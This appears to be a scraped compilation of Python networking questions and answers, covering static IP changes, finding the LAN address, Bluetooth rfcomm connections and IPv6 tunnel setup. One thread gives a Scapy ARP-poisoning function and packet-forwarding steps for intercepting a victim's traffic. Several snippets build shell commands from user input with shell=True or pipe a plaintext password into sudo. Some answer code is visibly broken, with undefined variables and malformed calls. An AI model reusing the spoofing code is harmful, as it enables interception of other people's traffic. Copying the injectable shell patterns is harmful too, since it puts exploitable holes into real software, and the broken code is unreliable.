I am making a user application that we will deploy on machines. The end user will have little linux experience so I wanted in our GUI to give them an option to set the IP. It seems to take the IP but loses it over reboot. I am using netifaces to read the IP and system commands to set it. Inside python or the linux cmd line I am seeing the same result. After an change ifconfig shows the change. After a reboot it reverts back. Do I need to modify the eth config file?
import netifaces as ni
from os import system
def getIPs():
#Grab Current IP Address
eth0 = ni.ifaddresses('eth0')[2][0]['addr']
wlan0 = ni.ifaddresses('wlan0')[2][0]['addr']
return eth0, wlan0
def setEth0(ipAddress):
if ipAddress != "":
system('sudo ifconfig eth0 down')
system(f'sudo ifconfig eth0 {ipAddress}')
system('sudo ifconfig eth0 up')
def setWlan0(ipAddress):
if ipAddress != "":
system('sudo ifconfig wlan0 down')
system(f'sudo ifconfig wlan0 {ipAddress}')
system('sudo ifconfig wlan0 up')
I changed the process to actually modify the following file instead of sending the system commands.
/etc/network/interfaces.d/eth0
Related
I want my computer to switch between 2 different IP configuration, everyday at two different time. I figured i could automate this with a python script.
import sys
sys.path.append(r"c:\users\user\appdata\local\packages\pythonsoftwarefoundation.python.3.10_qbz5n2kfra8p0\localcache\local-packages\python310\site-packages")
import os
import ipaddress
import socket
import time
import schedule
def firstIP():
hn = socket.gethostname()
ipa = socket.gethostbyname(hn)
print("Current IP: ",ipa)
os.system('netsh interface ip set address name="Wi-Fi" static 192.168.1.20 255.255.255.0 192.168.1.1')
os.system('netsh interface ip set dns name="Wi-Fi" static 8.8.8.8')
os.system('netsh interface ip set dns name="Wi-Fi" static 8.8.4.4 index=2')
print("IP ADRESS CHANGED!")
def secondIP():
hn = socket.gethostname()
ipa = socket.gethostbyname(hn)
print("Current IP: ",ipa)
os.system('netsh interface ip set address name="Wi-Fi" static 192.168.1.50 255.255.255.0 192.168.1.1')
os.system('netsh interface ip set dns name="Wi-Fi" static 8.8.8.8')
os.system('netsh interface ip set dns name="Wi-Fi" static 8.8.4.4 index=2')
print("IP ADRESS CHANGED!")
schedule.every().day.at("01:00").do(firstIP)
schedule.every().day.at("15:00").do(secondIP)
while True:
schedule.run_pending()
time.sleep(1)
I made this script and it seems to work, but for it to run i need to:
open cmd and run the script
leave the cmd open with the script running
is there a way for running the script once, closing the cmd window and the schedule will still work? as a sort of os chron job? or something similar, without leaving the prompt open?
Thank you
I am new to python. I want to get the ipaddress of the system. I am connected in LAN. When i use the below code to get the ip, it shows 127.0.1.1 instead of 192.168.1.32. Why it is not showing the LAN ip. Then how can i get my LAN ip. Every tutorials shows this way only. I also checked via connecting with mobile hotspot. Eventhough, it shows the same.
import socket
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
print("Your Computer Name is:" + hostname)
print("Your Computer IP Address is:" + IPAddr)
Output:
Your Computer Name is:smackcoders
Your Computer IP Address is:127.0.1.1
Required Output:
Your Computer Name is:smackcoders
Your Computer IP Address is:192.168.1.32
I got this same problem with my raspi.
host_name = socket.gethostname()`
host_addr = socket.gethostbyname(host_name)
and now if i print host_addr, it will print 127.0.1.1.
So i foundthis: https://www.raspberrypi.org/forums/viewtopic.php?t=188615#p1187999
host_addr = socket.gethostbyname(host_name + ".local")
and it worked.
As per the above '/etc/hosts' file content, you have an IP address mapping with '127.0.1.1' to your hostname. This is causing the name resolution to get 127.0.1.1. You can try removing/commenting this line and rerun.
How can I get the IP address of eth0 in Python?
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
print s.getsockname()[0]
This also worked for me:
gethostbyname(gethostname()+'.')
i get the same problem what your are facing. but I get the solution with help of my own idea, And don't worry it is simple to use.
if you familiar to linux you should heard the ifconfig command which return the informations about the network interfaces, and also you should understand about grep command which filter the lines which consist specified words
now just open the terminal and type
ifconfig | grep 255.255.255.0
and hit enter now you will get wlan inet address line alone like below
inet 192.168.43.248 netmask 255.255.255.0 broadcast 192.168.43.255
in your terminal
in your python script just insert
#!/usr/bin/env python
import subprocess
cmd = "ifconfig | grep 255.255.255.0"
inet = subprocess.check_output(cmd, shell = True)
inet = wlan.decode("utf-8")
inet = wlan.split(" ")
inet_addr = inet[inet.index("inet")+1]
print(inet_addr)
this script return your local ip address, this script works for me and I hope this will work for your linux machine
all the best
This solution works for me on Windows. If you're using Linux you could try this line of code instead:
IPAddr = socket.gethostbyname(socket.getfqdn())
I wanted to make a "proxy" while ARP poisoning, it works with UDP and if I send a pkt to google I see it on my pc using wireshark
def trick(gate_mac, victim_mac):
'''Tricks the victim and the gate_way, using arp'''
my_mac=ARP()
my_mac=my_mac.hwsrc
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
print "TRICKED"
that is the function i wrote to arp poison, now I want to send all the packets I get from the victim's pc to the router/
but I have no clue how to do packet forwarding.
You can simply activate your OS packet forwarding. If you're running Linux, a simple sysctl -w net.ipv4.ip_forward=1 should do that.
You may also need to let the packets pass your firewall;something like iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT should work (if you're using Linux, again).
Under other OSes, you need to find out how to enable packet forwarding and if needed add firewall rules. If you cannot enable packet forwarding, you can run another Scapy script to forward packets for you. Here is an example:
VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
GATEWAY_MAC: VICTIM_MAC,
VICTIM_MAC: GATEWAY_MAC,
}
def forward_pkt(pkt):
pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
sendp(dst)
sniff(
prn=forward_pkt,
filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
GATEWAY_MAC)
)
Requirement:
I need to connect to a remote bluetooth device & port and send data using a device file.
1. First scan the nearest bluetooth devices
2. connect to a remote BT addr & channel and communicate using a device file (/dev/rfcomm0)
I'm stuck at the second step. I'm able to do it through linux shell
sudo rfcomm connect /dev/rfcomm0 00:11:22:33:44:55 1 &
This works and then I open my python interpreter and communicate to the remote device using the rfcomm0 device file.
But my requirement is such that the device addr could be changing. So I want to connect and release the connections through python program.
I tried using python subprocess.
But the problem is it returns immediately with a returncode 0 and then the connection is established after certain latency.
import subprocess
host = '00:11:22:33:44:55'
port = "1"
subprocess.call(["rfcomm connect",host,port,"&"],shell=True)
I'm looking if there is any pyBluez or any other python alternative to achieve this.
import subprocess
host = input()
port = 1
cmd = "sudo rfcomm connect /dev/rfcomm0 {} {} &".format(host, port)
conn = subprocess.Popen(cmd, shell=True)
if conn.returncode is None:
print("error in opening connection")
import the subprocess module
Read bluetooth address from the user(host)
port number can also be read as input, I am considering the default port 1
cmd = "sudo rfcomm connect /dev/rfcomm0 {} {} &".format(host, port) will create a command from the given arguments
There are many ways to read the output and errors after the execution of command. Read more about Popen#https://docs.python.org/3/library/subprocess.html
You can you the os module to run Shell commands. You can store the return value like this:
from os import system
Returnedstring = system("Shell command")
I want to execute few linux commands using python
these are my commands.
modprobe ipv6
ip tunnel add he-ipv6 mode sit remote 216.218.221.6 local 117.211.75.3 ttl 255
ip link set he-ipv6 up
ip addr add 2001:470:18:f3::2/64 dev he-ipv6
ip route add ::/0 dev he-ipv6
ip -f inet6 addr
216.218.221.6
117.211.75.3
2001:470:18:f3::2/64
these ip's are the inputs from the user. Commands also need root privileges.
My Code upto now.
import os
print("Enter Server Ipv4 Address")
serverip4=input()
print("Enter Local Ipv4 Address")
localip4=input()
print("Enter Client Ipv6 Address")
clientip4=input()
Like this:
import sys
import os
os.system("ip tunnel add he-ipv6 mode sit remote %s local %s ttl 255" % (whicheveripvariableisfirst), (whicheveripvariableisnext)))
If you need it run at sudo level then put sudo in the command section or make sure to run the python script as sudo.
I guess, subprocess would be best choice in this scenario as you want to get all command results and use it.
You can refer this page for that: https://docs.python.org/2/library/subprocess.html
Here is the code:
import subprocess
#To use the sudo -> echo "password" | sudo <command>
ipv6_command_list = "echo 'password' | sudo 'ip tunnel add he-ipv6 mode sit remote 216.218.221.6 local 117.211.75.3 ttl 255'"
ip_link_list = "echo 'password' | sudo 'ip link set he-ipv6 up'"
ip_addr_list = "echo 'password' | sudo 'ip addr add 2001:470:18:f3::2/64 dev he-ipv6'"
ip_route_list = "echo 'password' |sudo 'ip route add ::/0 dev he-ipv6'"
ip_inet_list = "echo 'password' | sudo 'ip -f inet6 addr'"
for ip_command in [ip_link_list,ip_addr_list,ip_route_list,ip_inet_list]:
proc = subprocess.check_output(ip_command, shell=True)